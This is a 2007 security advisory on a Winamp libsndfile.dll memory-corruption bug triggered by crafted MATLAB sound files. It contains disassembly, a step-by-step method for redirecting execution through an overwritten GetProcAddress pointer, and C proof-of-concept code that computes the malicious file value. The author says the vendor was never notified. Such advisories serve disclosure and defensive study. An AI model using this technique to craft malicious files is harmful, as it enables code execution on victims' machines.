AOL Nullsoft Winamp LIBSNDFILE.DLL Remote Memory Corruption (Off By Zero) by Piotr Bania http://www.piotrbania.com Severity: Critical - Possible remote code execution. Software affected: Tested on AOL Nullsoft Winamp v5.33 (x86) Feb 13 2007 (on Windows XP SP1/SP2). There exist a large possiblity that any other software that is using the LIBSNDFILE.DLL component should be considered as vulnerable. Orginal url: http://www.piotrbania.com/all/adv/nullsoft-winamp-libsndfile-adv.txt 0. DISCLAIMER Author takes no responsibility for any actions with provided informations or codes. The copyright for any material created by the author is reserved. Any duplication of codes or texts provided here in electronic or printed publications is not permitted without the author's agreement. I. BACKGROUND AOL Nullsoft is the most popular multimedia player in the world. Libsndfile.dll is a one of Winamp components. II. DESCRIPTION The problem takes place when Winamp is trying to play specially crafted .MAT (MATLAB SOUND FILE). Take a look a this code snipet: ----// SNIP SNIP //------------------------------------------------- .text:1000CCED cmp [ebp+MY_DWORD], 40h ; (1) .text:1000CCF1 jl short kont .text:1000CCF3 .text:1000CCF3 loc_1000CCF3: ; CODE XREF: sub_1000CB3B+BAj .text:1000CCF3 push 7Ah .text:1000CCF5 jmp faked .text:1000CCFA ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ .text:1000CCFA .text:1000CCFA kont: ; CODE XREF: sub_1000CB3B+1B6j .text:1000CCFA push [ebp+MY_DWORD] .text:1000CCFD lea eax, [ebp+var_64] .text:1000CD00 push eax .text:1000CD01 push ebx ; int .text:1000CD02 push esi ; DistanceToMoveHigh .text:1000CD03 call sub_10025A28 .text:1000CD08 mov eax, [ebp+MY_DWORD] .text:1000CD0B mov byte ptr [ebp+eax+var_64], 0 ; (2) ----// SNIP SNIP //------------------------------------------------- Here, MY_DWORD value is completly controled by the attacker and it is stored at offset 0x39 from begining of the attached .mat files. As you can see, the block (1) is very important since, the memory overwrite will not occur when MY_DWORD value will be greater or equal to 0x40. The way of computing memory address at block (2), leads as to following basic math assumptions: 1) x < 0x40 2) y = ebp + x - 0x64 Where: x - our param (MY_DWORD) y - final overwrite address Then after few simple calculations, we should have got a dimension for *y* (final address), since the *x* dimension is limited by 0x40. So here we have: ** y < ebp - 0x64 + 0x40 ** that means for example, if we consider EBP is equal to 0x010CFB7C, we got: ** y < 0x10CFB58 ** It shortly means that the final address that we can compute from our MY_DWORD value, must be lower then 0x10CFB58. That surely make the exploitaiton harder since we are limited to the memory lower then 0x10CFB58. If we consider only the modules, which are loaded together with the target process we should have some that suits our needs: ----// SNIP SNIP //------------------------------------------------- Executable modules Base Size Entry Name File version Path 00400000 00125000 0045FD3E winamp 5,3,3,1100 winamp.exe 00C70000 00012000 00C7D8B5 png png.w5s 00C90000 00056000 00C9229F MSVCR71 7.10.3052.4 MSVCR71.dll 00D00000 0005E000 00D1ADD2 in_APE 3.99 in_APE.dll 00E00000 0004F000 00E0E54E in_cdda in_cdda.dll 00E50000 0001B000 00E5F124 in_midi in_midi.dll 00E70000 0001B000 00E80FFC read_fil read_file.dll 00E90000 0002B000 00EA77EF in_mod in_mod.dll 00EC0000 00008000 00EC3B89 in_mp4 in_mp4.dll 00ED0000 00028000 00EE7CF2 libmp4v2 libmp4v2.dll 00F00000 0003D000 00F3B640 in_mpc in_mpc.dll 00F40000 0003E000 00F5ED76 in_vorbi in_vorbis.dll 00F80000 00007000 00F814FC in_wave in_wave.dll 00F90000 0003D000 00FBAA8F libsndfi libsndfile.dll ----// SNIP SNIP //------------------------------------------------- As you can see we have some modules which are available for our needs (mainly they are mapped below the limits we have). As you probably know, we can only overwrite a single byte with a single NULL byte. For a little EIP redirection example of mine, lets consider following sitatution. Here, we have pretty interresting datas from WINAMP.EXE: (DATA section stays writeable) ----// SNIP SNIP //------------------------------------------------- ... .data:00472F14 ; sub_456A06+Bo ... .data:00472F18 ; __int32 off_472F18 .data:00472F18 off_472F18 dd offset sub_456566 ; DATA XREF: sub_40340C+58r .data:00472F18 ; sub_4543E8+59r ... .data:00472F1C ; __int32 off_472F1C .data:00472F1C off_472F1C dd offset sub_4565D5 ; DATA XREF: sub_406220+49r .data:00472F1C ; sub_406587+BEr ... .data:00472F20 ; __int32 off_472F20 .data:00472F20 off_472F20 dd offset sub_45668E ; DATA XREF: sub_4097F4+B1r .data:00472F20 ; sub_45668E+Bo ... ... ----// SNIP SNIP //------------------------------------------------- The off_472F1C is infact: ----// SNIP SNIP //------------------------------------------------- 00472F1C A0 AD 80 7C  ­€| ----// SNIP SNIP //------------------------------------------------- which is a pointer to KERNEL32.DLL!GetProcAddress API function. In this case (consider we want to overwrite this data entry) we can make the following redirections: 1) 7C80ADA0 -> 0080ADA0 2) 7C80ADA0 -> 7C00ADA0 3) 7C80ADA0 -> 7C8000A0 4) 7C80ADA0 -> 7C80AD00 That means, that when WINAMP.EXE will try to call the GetProcAddress function ((from the pointer it has), it will fly to the address we have modified: To see the example run EIP_FLOW.mat, and monitor all the EDI values at 0x00425127. ----// SNIP SNIP //------------------------------------------------- .text:004250E8 mov edi, off_472F1C ; <-- OUR MODIFIED OFFSET ... .text:00425127 call edi ; <-- EXECUTION ----// SNIP SNIP //------------------------------------------------- In this example you should be redirected to 0x7C00ADA0. ** Access violation when executing [7C00ADA0] ** Of course there exist also another possiblity, where attacker can modify the stack space directly (since the stack here is correct for our limits), Of course i not mean here the stack of LIBSNDFILE module, because it not suits our needs (0x010CFFFC is too much). There are probably much more importants areas there. Attacker should choose the best way. III. POC CODES If you didnt see the correct result of eip_flow.mat, you may need to recalculate the address at offset 0x39, with your value of EBP register. You can grab it while launching poc.mat. Here's a little proggy for computing X value (the one at 0x39 offset): ----// SNIP SNIP //------------------------------------------------- #include #include /* modify this for your own EBP */ unsigned long ebp = 0x010CFB7C; #define give_addr(x) (unsigned long)(x - ebp + 0x64) long ConvertHexStrToLong( char* s ); int main(int argc,char *argv[]) { unsigned long out = give_addr(ConvertHexStrToLong(argv[1])); printf("[*] X is: 0x%.08x\n",out); if (((signed)out>= 0x40)) printf("[*] WARNING THE X VALUE IS NOT VALID (COLLIDING LIMITS)\n"); else printf("[*] X VALUE IS OK!!!\n"); return 0; } long ConvertHexStrToLong( char* s ) { int hexDigit[] = { 10, 11, 12, 13, 14, 15 }; long n = 0; char c = *s++; while( c != '\0' ) { if( c >= '0' && c <= '9' ) n = n * 16 + (c - '0'); else { c = tolower( c ); n = n * 16 + hexDigit[(c - 'a')]; } c = *s++; } return n; } ----// SNIP SNIP //------------------------------------------------- EXAMPLE (we want to overwrite 0x472F1C): (19:51:pb@wisdom)~:> ./sru 0x472F1C [*] X is: 0xff3a3404 <--- this value should be put at 0x39 [*] X VALUE IS OK!!! III. IMPACT Successful exploitation may allow the attacker to run arbitrary code in context of user running AOL Nullsoft Winamp. IV. VENDOR RESPONSE Due to the fact i was looking for a AOL NULLSOFT contact for over 30 minutes with no effect, i got finally bored and i haven't notified them at all.